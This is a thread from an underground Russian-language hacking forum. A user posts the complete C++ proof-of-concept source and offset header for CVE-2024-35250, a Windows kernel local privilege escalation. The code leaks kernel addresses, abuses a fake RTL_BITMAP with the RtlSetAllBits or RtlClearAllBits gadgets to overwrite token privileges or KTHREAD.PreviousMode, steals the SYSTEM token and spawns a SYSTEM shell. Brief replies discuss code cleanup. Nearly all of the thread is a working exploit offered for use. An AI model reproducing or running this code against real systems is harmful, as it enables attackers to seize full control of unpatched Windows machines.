• XSS.stack #1 – первый литературный журнал от юзеров форума

Local [CVE-2024-35250 ] Windows LPE (PoC)

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
С добрым утром https://github.com/varwara/CVE-2024-35250

C++:
/*
                PoC Info
--------------------------------------------------------------
Vulnerability:            CVE-2024-35250
Tested environment:        Windows 11 22h2 Build 22621
                        Windows 10 20h2 Build 19042
                        VMWare Workstation 17 Pro
Weakness:                CWE-822: Untrusted Pointer Dereference
Known limitations:        Didn't work in Hyper-V environments
Required privileges:    Medium IL
--------------------------------------------------------------
*/
#define __STREAMS__
#define _INC_MMREG
//#define _SE_DEBUG_PRIVILEGE 0xc1b4
#define _PREVIOUS_MODE        0xbaba
#include <Windows.h>
#include <winternl.h>
#include <strmif.h>
#include <ks.h>
#include <ksproxy.h>
#include <ksmedia.h>
#include <stdio.h>
#include <SetupAPI.h>
#include <functiondiscovery.h>
#include <mmdeviceapi.h>
#include <stdint.h>
#include <safeint.h>
#include <ntstatus.h>
#include <TlHelp32.h>
#include <winsvc.h>
#include "common.h"
#include <processthreadsapi.h>

#pragma comment(lib, "Ksproxy.lib")
#pragma comment(lib, "ksuser.lib")
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "ntdllp.lib")
#pragma comment(lib, "SetupAPI.lib")
#pragma comment(lib, "Advapi32.lib")

//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
    int32_t Ret = -1;
    PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
    ULONG ulBytes = 0;
    NTSTATUS Status = STATUS_SUCCESS;

    //
    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
    //
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
    {
        if (pHandleInfo != NULL)
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
        }

        else
        {
            pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
        }
    }

    if (Status != NULL)
    {
        Ret = Status;
        goto done;
    }

    for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
    {
        if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
        {
            *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
            Ret = 0;
            break;
        }
    }

    done:
    if (pHandleInfo != NULL)
    {
        HeapFree(GetProcessHeap, 0, pHandleInfo);
    }
    return Ret;
}

//
// ALlocate fake bitmap for arbitrary r/w operations
//
void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) {

    LPVOID allocatedMemory = VirtualAlloc( baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (allocatedMemory == NULL)
    {
        printf("[-] AllocateBitmap failed with error: %d\n", GetLastError());
        return NULL;
    }

    printf("[+] Fake RTL_BITMAP allocated at address = %p\n", allocatedMemory);

    return allocatedMemory;
}

UINT_PTR GetKernelModuleAddress(const char* TargetModule)
{
    NTSTATUS status;
    ULONG ulBytes = 0;
    PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL;

    while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    {
        if (handleTableInfo != NULL)
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes);
        }

        else
        {
            handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes);
        }
    }

    if (status == 0)
    {
        for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++)
        {
            char* moduleName = strstr(handleTableInfo->Modules[i].Name, TargetModule);
            if (moduleName != NULL)
            {
                return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress;
            }
        }
    }
    else
    {
        if (handleTableInfo != NULL)
        {
            printf("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)\n", status);
            HeapFree(GetProcessHeap(), 0, handleTableInfo);
            return 0;
        }
    }

    HeapFree(GetProcessHeap(), 0, handleTableInfo);

    return 0;
}

DWORD64 leak_gadget_address(LPCSTR GadgetName)
{
    DWORD64 module_base_kernel, rtlSetAllBits_address;
    HMODULE module_base_user;

    module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!module_base_user)
        goto error;

    rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName);
    if (!rtlSetAllBits_address) {
        goto error;
    }
    module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe");
    rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user);

    return rtlSetAllBits_address;
error:
    printf("[-] leak_gadget_address failed\n");
    return FALSE;
}

//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(void *Dst, void *Src, size_t Size)
{
    NTSTATUS Status = 0;
    PULONG cbNumOfBytesWrite = 0;

    Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite);
    if (!NT_SUCCESS(Status))
    {
        return -1;
    }
    return Status;
}
//
// original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6
//
DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) {
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
    SIZE_T size;
    BOOL ret;

    // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute
    ZeroMemory(&si, sizeof(STARTUPINFOEXA));

    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
        GetProcessHeap(),
        0,
        size
    );
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL);

    si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    // Finally, create the process
    ret = CreateProcessA(
        NULL,
        command,
        NULL,
        NULL,
        true,
        EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        reinterpret_cast<LPSTARTUPINFOA>(&si),
        &pi
    );

    if (ret == false) {
        printf("CreateProcessFromHandle failed with error = \n", GetLastError());
        return 3;
    }

    return 0;
}

ULONG GetPidByName(const wchar_t* procname) {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    ULONG pid;

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0)
            {
                pid = entry.th32ProcessID;
                break;
            }
        }
    }

    CloseHandle(snapshot);
    return pid;
}

int main()
{
    HRESULT hr;
    HANDLE hDrmDevice = NULL;
    UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 };
    KSPROPERTY *pInBufProperty = (KSPROPERTY*)InBuffer;
    EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1);

    UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 };

    KSPROPERTY_SERIALHDR *pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest;
    PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1);
    EXPLOIT_DATA1 *pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1);

    BOOL res = FALSE;
    NTSTATUS status = 0;

    uint32_t Ret = 0;

    const GUID categories[] = {
        KSCATEGORY_DRM_DESCRAMBLE,
    };
    
    //
    // Get a KS object device with ksproxy.ax API
    //
    for (int i = 0; i < sizeof(categories) / sizeof(categories[0]); i++)
    {
        hr = KsOpenDefaultDevice(categories[i], GENERIC_READ | GENERIC_WRITE, &hDrmDevice);

        if (hr != NOERROR) {
            printf("[-] KsOpenDefaultDevice at index %d failed with error = %x\n", i, hr);
            return hr;
        }

        printf("[+] DRM device handle value = %p\n", hDrmDevice);
    }

#ifdef _SE_DEBUG_PRIVILEGE

    HANDLE hToken;
    uint64_t ktoken_obj = 0;
    res = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);

    if (!res)
    {
        printf("[-] Failed to open current process token\n");
        return res;
    }
    
    res = GetObjPtr(&ktoken_obj, GetCurrentProcessId(), hToken);
    if (res != NULL)
    {
        return -1;
    }

    printf("[+] Current process TOKEN address = %llx\n", ktoken_obj);
#elif defined _PREVIOUS_MODE

    uint64_t Sysproc = 0;
    uint64_t Curproc = 0;
    uint64_t Curthread = 0;
    
    HANDLE hCurproc = 0;
    HANDLE hThread = 0;
    //
    // Leak System _EPROCESS kernel address
    //
    Ret = GetObjPtr(&Sysproc, 4, (HANDLE)4);
    if (Ret != NULL)
    {
        return Ret;
    }
    printf("[+] System EPROCESS address: %llx\n", Sysproc);
    
    //
    // Leak Current _KTHREAD kernel address
    //
    hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
    if (hThread != NULL)
    {
        Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current KTHREAD address: %llx\n", Curthread);
    }

    //
    // Leak Current _EPROCESS kernel address
    //
    hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
    if (hCurproc != NULL)
    {
        Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
        if (Ret != NULL)
        {
            return Ret;
        }
        printf("[+] Current EPROCESS address: %llx\n", Curproc);
    }
#endif

    //
    // Initialize input buffer
    //
    pInBufProperty->Set = KSPROPSETID_DrmAudioStream;
    pInBufProperty->Flags = KSPROPERTY_TYPE_UNSERIALIZESET;
    pInBufProperty->Id = 0x0;

    //
    // Initialize output buffer
    //
    pSerialHdr->PropertySet = KSPROPSETID_DrmAudioStream;
    pSerialHdr->Count = 0x1;

    pSerial->PropertyLength = sizeof(EXPLOIT_DATA1);
    pSerial->Id = 0x0;                // Should be null
    pSerial->PropTypeSet.Set = KSPROPSETID_DrmAudioStream;
    pSerial->PropTypeSet.Flags = 0x0; // Should be null
    pSerial->PropTypeSet.Id = 0x45;   // Irrelevant value

    //
    // Intialize fake property data
    //
    uint64_t ntoskrnl_user_base = 0;
    HMODULE outModule = 0;
    UINT_PTR ntoskrnlKernelBase = GetKernelModuleAddress("ntoskrnl.exe");
    printf("[+] ntoskrnl.exe base address = %llx\n",  ntoskrnlKernelBase);
    pOutBufPropertyData->FakeBitmap = (PRTL_BITMAP)AllocateBitmap(sizeof(RTL_BITMAP), ULongLongToPtr64(0x10000000));

#ifdef _SE_DEBUG_PRIVILEGE
    //
    // FakeBitmap initialization for the overwriting TOKEN.Privileges fields technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20 * 4; // It should be (0x20 * n) to overwrite (n/2 * 0x8) bytes at arbitrary address
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(ktoken_obj + TOKEN_PRIV_WIN_11_22H2_22621); // Token present/enabled bits address
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlSetAllBits"));                                                                                                           
    printf("[!] RtlSetAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#elif defined _PREVIOUS_MODE
    //
    // FakeBitmap initialization for the overwriting KTHREAD.PreviousMode field technique
    //
    pOutBufPropertyData->FakeBitmap->SizeOfBitMap = 0x20; 
    pOutBufPropertyData->FakeBitmap->Buffer = ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621); //  KTHREAD.PreviousMode field address
    pInBufPropertyData->ptr_ArbitraryFunCall = ULongLongToPtr64(leak_gadget_address("RtlClearAllBits"));  // This gadget will zeroing KTHREAD.PreviousMode field
    printf("[!] RtlClearAllBits kernel address = %p\n", pInBufPropertyData->ptr_ArbitraryFunCall);
#endif

    //
    // Send property request to trigger the vulnerability
    //
    res = DeviceIoControl(hDrmDevice, IOCTL_KS_PROPERTY, pInBufProperty, sizeof(InBuffer), pSerialHdr, sizeof(UnserializePropertySetRequest), NULL, NULL);

    if (!res)
    {
        printf("[-] DeviceIoControl failed\n"); // It's ok to see this message if exploit succeded
    }

#ifdef _SE_DEBUG_PRIVILEGE
    
    HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"winlogon.exe"));

    if (!hWinLogon) {
        printf("OpenProcess failed with error = 0x%lx\n", GetLastError());
        return FALSE;
    }

    CreateProcessFromHandle(hWinLogon, (LPSTR)"cmd.exe");

    return TRUE;
#elif defined _PREVIOUS_MODE
    printf("[!] Leveraging DKOM to achieve LPE\n");
    printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

    uint8_t mode = UserMode; // We set UserMode in restoring thread state phase to avoid BSOD in further process creations

    Write64(ULongLongToPtr64(Curproc + EPROCESS_TOKEN_WIN_11_22H2_22621), ULongLongToPtr64(Sysproc + EPROCESS_TOKEN_WIN_11_22H2_22621), /* Token size */ 0x8);

    //
    // Restoring KTHREAD.PreviousMode phase
    //
    Write64(ULongLongToPtr64(Curthread + PREV_MODE_WIN_11_22H2_22621), &mode, sizeof(mode));

    //
    // Spawn the shell with "nt authority\system"
    //
    system("cmd.exe");
#endif

    return 0;
}
C++:
#pragma once

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET            0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET    0x232
#define EPROCESS_SECURE_STATE_OFFSET    0x3E0
#define SEP_TOKEN_PRIVILEGE_OFFSET      0x40
#define SystemHandleInformation            0x10
#define SystemModuleInformation         11
#define SystemHandleInformationSize        0x400000

enum _MODE
{
    KernelMode = 0,
    UserMode = 1
};

typedef struct SYSTEM_MODULE {
    ULONG                Reserved1;
    ULONG                Reserved2;
#ifdef _WIN64
    ULONG                Reserved3;
#endif
    PVOID                ImageBaseAddress;
    ULONG                ImageSize;
    ULONG                Flags;
    WORD                 Id;
    WORD                 Rank;
    WORD                 w018;
    WORD                 NameOffset;
    CHAR                 Name[255];
}SYSTEM_MODULE, * PSYSTEM_MODULE;

typedef struct SYSTEM_MODULE_INFORMATION {
    ULONG                ModulesCount;
    SYSTEM_MODULE        Modules[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

__inline void * ULongLongToPtr64( const unsigned long long ull )
{
    return( (void *)(ULONG_PTR)ull );
}

//
// Declare some functions from ntdll.dll
//
extern "C"
{
    NTSTATUS RtlGUIDFromString(PUNICODE_STRING GuidString, GUID* Guid);

    NTSTATUS RtlStringFromGUID(REFGUID Guid, PUNICODE_STRING GuidString);

    NTSTATUS NtImpersonateThread(HANDLE ThreadHandle, HANDLE ThreadToImpersonate, SECURITY_QUALITY_OF_SERVICE* SecurityQualityOfService);

    NTSTATUS NtWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite,  PULONG NumberOfBytesWritten OPTIONAL );
}


#define DRM_DEVICE_OBJECT L"\\\\?\\root#system#0000#{ffbb6e3f-ccfe-4d84-90d9-421418b03a8e}\\{eec12db6-ad9c-4168-8658-b03daef417fe}&{abd61e00-9350-47e2-a632-4438b90c6641}"

//DEFINE_GUIDSTRUCT("3C0D501A-140B-11D1-B40F-00A0C9223196", KSNAME_Server);
//#define KSNAME_Server DEFINE_GUIDNAMED(KSNAME_Server)

//DEFINE_GUIDSTRUCT("3C0D501B-140B-11D1-B40F-00A0C9223196", KSPROPSETID_Service);
//#define KSPROPSETID_Service DEFINE_GUIDNAMED(KSPROPSETID_Service)

//
// Declare data structures related to the exploit
//
typedef struct _RTL_BITMAP
{
    DWORD SizeOfBitMap;
    PVOID Buffer;
}RTL_BITMAP, *PRTL_BITMAP;

#pragma pack(1)
typedef struct _EXPLOIT_DATA1
{
    PRTL_BITMAP  FakeBitmap;   
}EXPLOIT_DATA1;

typedef struct _EXPLOIT_DATA2
{
    char pad[0x20];
    PVOID ptr_ArbitraryFunCall; // kCFG bypass gadget function, for example RtlSetAllBits
} EXPLOIT_DATA2;



//
// Kernel object offsets for different Windows versions to maintain exploit
// compatibility
//
enum EPROCESS_TOKEN_OFFSETS
{
    EPROCESS_TOKEN_WIN_SERVER2012_62_9200 = 0x348,
    EPROCESS_TOKEN_WIN_10_1507_10240 = 0x358,
    EPROCESS_TOKEN_WIN_10_1903_18362 = 0x360,
    EPROCESS_TOKEN_WIN_10_2004_19041 = 0x4b8,
    EPROCESS_TOKEN_WIN_10_20H2_19042 = 0x4b8,
    EPROCESS_TOKEN_WIN_11_22H2_22621 = 0x4b8,
};

enum KTHREAD_PREVIOUS_MODE_OFFSETS
{
    PREV_MODE_WIN_SERVER2012_62_9200 = 0x232,
    PREV_MODE_WIN_10_20H2_19042 = 0x232,
    PREV_MODE_WIN_11_22H2_22621 = 0x232,
};

enum TOKEN_PRIVILEGES_OFFSET
{
    TOKEN_PRIV_WIN_10_1507_10240 = 0x40,
    TOKEN_PRIV_WIN_11_22H2_22621 = 0x40,
    TOKEN_PRIV_WIN_11_23H2_22631 = 0x40,
};
 
C:
    while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
Ты ведь часто запрашиваешь эту апи, почему не сделаешь врапер который который позаботится об аллокации?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
C:
    while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH)
    while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
Ты ведь часто запрашиваешь эту апи, почему не сделаешь врапер который который позаботится об аллокации?
Я понял о чем ты, потом как-нибудь исправлю, когда буду переписывать функцию GetObjPtr т.к. в редких случаях она возвращала адреса объектов условно через раз (не в этом случае, но было). Нужно будет разобраться почему.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх